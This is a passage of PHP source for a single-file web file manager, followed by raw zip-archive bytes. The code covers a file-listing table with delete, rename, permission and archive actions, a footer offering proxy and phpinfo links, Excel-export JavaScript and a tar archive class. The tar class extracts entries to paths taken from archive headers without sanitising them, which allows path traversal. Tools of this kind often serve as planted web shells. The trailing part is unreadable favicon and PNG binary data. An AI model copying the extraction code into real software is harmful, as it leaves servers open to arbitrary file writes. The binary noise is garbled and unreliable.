        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!�L*~~img/favicon.iconu&1i� h(  cLFcLFcLFG݂G݂G݂
G݂G݂cLF cLFQcLFcLF+��+��*��H�JF�"uc�pp�pp�cLFcLFPcLFacLF3��+��5+��S'�
*նpo�_pp�$pp�eJ@fH<cLFMcLFcm@$*��,��f�L-��:rn�lcg�ai���)��6��6)��)��	:|�cLEJcLEfJi�+��S�8J��Kmk�RZ`�a��`B��4R��6��6,��+��K+��#�dKEFbLDgzb�#�g��g�h�"��j_��3l��,��5=�������fLJE|V���d波e먥p�2��,7孄'���.������1�����X�i�g�*�a�2�b�ҡe�e�eꡣa�"���8���:������1�����q���ԂG��~H�y��e몢e�e�e�Lׇ7A�5"�y�p.�y����@ǵ�!���4�f��d�V�dꥢdꑣc�U[��5JՈ^G݂kG݂G݂]c�]c�]c�>[a�mhr�]��FN�6�~�5x���چ<���Qoj�TR��
E�~G݂]c�]c�]c�MTW���15��T_ԣ��9��mw�weyخ��ҁg���\`�pp�]c�]c�]c���8D����KԢ�T0��I��CyDڴ4�ԂY�Ԁ/�ԁ���������Z����{���6g��2 �ӎ�ԁ�ԁ�ԁ���������
�����8��64��3#�Ԉ�ԁR�ԁ�ԁ��6��6���Ԃ�ԁ�Ԁ�Ԁ>����������PK!���

img/logo.pngnu&1i��PNG


IHDR	��$O��	pHYs.#.#x�?v	UiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="adobe:docid:photoshop:e789ca22-8d09-7645-a797-587eeb0a9581" xmpMM:InstanceID="xmp.iid:b9085d8b-fba2-2b4f-bb8b-cae630e0f1b0" xmpMM:OriginalDocumentID="DBDB22B6A9076A0AD8D7A22E3A4E8336" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="" tiff:ImageWidth="2480" tiff:ImageLength="1748" tiff:PhotometricInterpretation="2" tiff:SamplesPerPixel="3" tiff:XResolution="300/1" tiff:YResolution="300/1" tiff:ResolutionUnit="2" exif:ExifVersion="0221" exif:ColorSpace="65535" exif:PixelXDimension="2480" exif:PixelYDimension="1748" xmp:CreateDate="2020-10-07T04:37:41-12:00" xmp:ModifyDate="2020-10-07T04:43:04-12:00" xmp:MetadataDate="2020-10-07T04:43:04-12:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:4ffec21e-16a9-2840-8929-dc1cebc42369" stEvt:when="2020-10-07T04:43:04-12:00" stEvt:softwareAgent="Adobe Photoshop CC 2018 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from image/jpeg to image/png"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from image/jpeg to image/png"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:b9085d8b-fba2-2b4f-bb8b-cae630e0f1b0" stEvt:when="2020-10-07T04:43:04-12:00" stEvt:softwareAgent="Adobe Photoshop CC 2018 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4ffec21e-16a9-2840-8929-dc1cebc42369" stRef:documentID="DBDB22B6A9076A0AD8D7A22E3A4E8336" stRef:originalDocumentID="DBDB22B6A9076A0AD8D7A22E3A4E8336"/> <tiff:BitsPerSample> <rdf:Seq> <rdf:li>8</rdf:li> <rdf:li>8</rdf:li> <rdf:li>8</rdf:li> </rdf:Seq> </tiff:BitsPerSample> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-�
�IDATx��y�eW~���9�o�	5�P3�05���&�=�)�4II٦,jI�-ŎeY��Av,;Y��$+v,KV��v,kIE��LŤ��l�=a�BM(��޻�9g�񪪁n�
6�}���-�;�s�[u�}�{�;�R�֪E��'6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��``!�X6B�
��h=�N?���{�g��T~��=�""�z�
��}���>:���=}~��=r4���g_<���ot����ޜ�ıS)J�DD�y��>�;�?q(E�ꈾ����`����<����w��
��H��`_�����/�A7m�k`�繋���*:ql�)����Y,�6Boʽ�?��5���G�����8{��v����6�Y�xk�j7��<z*��/��m��Ա����5��^�8�� ""Rߝ=�=�:q�P�"��~g�].���Ju��fx��74�����^~/4��l|Ux`O��㏥/��Ё�_rݙ�K�h�6����GO�/n���()GI�����()rI���/�cmߡ�S��o7�^<]�L�nvs�c��|���\8]�A�Rb2����|��<6�*��v-GDܼy3?x�
'2/]y��]>�i��Q��b���x<���css3""���iii)r�q���8��7��?x0ݾ};""v���0ߐ�E�o,/�|�
a�G���Q�.ommuM=���j7k�8s���G�V��ȿ�-�nΝ����Ξ��=�:r4}��ݣ������#{�:EUJ���`0�F�ũ���J��}5�8{a��|�,
��

l����:��q�뺪��9aY����s�|
��b0��x]���t��u�������sUU1���>�""���=t�Ah`�ġH��8��q�Rbk��ھ�~�Kɣ�`�C�3g/�3/��m����o�wu��v��O�N}�����("��.b�mU����X���fRW�t�ի�7�8�ƣ��h�)um�nN�6����ϛ��U!����p����4���X___�Nr7�Lf�KèkoKi8F�m�|>������t𩧞>���[.�z���;�;[�����J5�=d��8S��r��q���ߵm���Ci<�`0��t++Kq��ѵ��][[;��?�k��̙i_+)���vw/^����-�È��'�ϝ�\�{��K3��R��=��dy<,M]�\����ۻ��ۿ�]nϞ=�O������������+�^۸0
��K���SG��7&��k��/7�r���x��G�g�y��}���L&�}<�䓏�����o���h4E����_��R��Y{����g�{F�
�k�����f�ڎ�XY�O;vx~���'����c�������ٷ���o|��ϯnmN7r'�4�5�Z�xS�z�?6�KD�i�����ȣ��}�N�K����V�w
.�ص6}��gn��/uSM��u��{��/��?Y��[�3��KZ�Ƿ�kq�c�D�%�:GDsc1�W��n������FD�յ��D��鋗g�n���,/���1�U_�������| �g1��M{�>v���_�/?��?�ܥr�ȉ�iV���Ojbv{<�#�v�F�Q��(ED�a�-j�x�=�1lnn�KKKѶm�u��t뻾��L&1#""�KKKk}��\��;!����׌�R���6��^�u4Mkkk���'���.��aL&���o4l�)9��c�_|�-լ뫶�SUr^����[�l<E]._|fڷ�������绢m#E�F�u���Z�w}QE�:J)9��l�UR���sϕ�.���(��Y)��UNQ�>�
s���*R��}����<���D)�vU�kke��9�o�����xmm<�#O�4u�ן;{�Z.+U�&J�ϼ�l[��.UW/d�x�`�byy9������M}��}�[Gkkkk�� �m)��>������K)�[?��{}۽9ٝ;w�{m�]�E��RJ'O�|��O>���꺮�k�4�:�E����*"���}M�D�KD��+y簊��0_�y-����w��~��r�'g[���RUeQ�1-��7�2�]JU�p�b�Љ���	�T"��B"-h3�a��p�DD�<���KģG��(M�(}�H�/U�""�R����W�O.���D�s�~�����|{����/�[/��_~�\=��{�z�Q��$��V�L��4}���[��𖡁
������x|۷}�Ү]��۸�� ��	�x��?[UU����*�M�^#nUU�R��s\�vm8�ϣ�u]G�4�}���8y�����@�Q��4���f��v�"����r�U�h�.�G���5܌�O�?�w��L���4m�U�.G?X*��sg_��T/ot� ?z2գ��9G�R"E�9G�����ɣ�R�D�
�A��H�DJ%�:RUU刈y[�WoL_ؘ�xuu��T�R5�l8�/���ƨin�}����o��Oy��6��9E�j�Z_��Ruu_����{
l��m+o>��WEUUQ�u<�������s�RJ�F��L��]���W^�U���^�9RJ��rα��5�>""ڶ����4Mlnn��|�}��p|�x�	����Y;����hf���k���lܬbrg�_��;������K��|�Z_���֭�w�Y�t�kG'�{���SZ�Ԍ꾋��ϫȹ:�t9{�t���#����rX�
�+�"Jʩ4�T�A������TU�J-����ξ�ׯ�p���}Z��õIiJն�cXMb��H��s������٥��ͳ�\;=�o�XZ^Mw6oǰ�:
��u��m�B�
�7����9�oLk�6RJ1����f�?RJ�����~��=[�<����QUU$�4������{��)��.J)��+�DJ)u]�뺎�������K)������'�{�Νjee%""��i�����9��m�C�
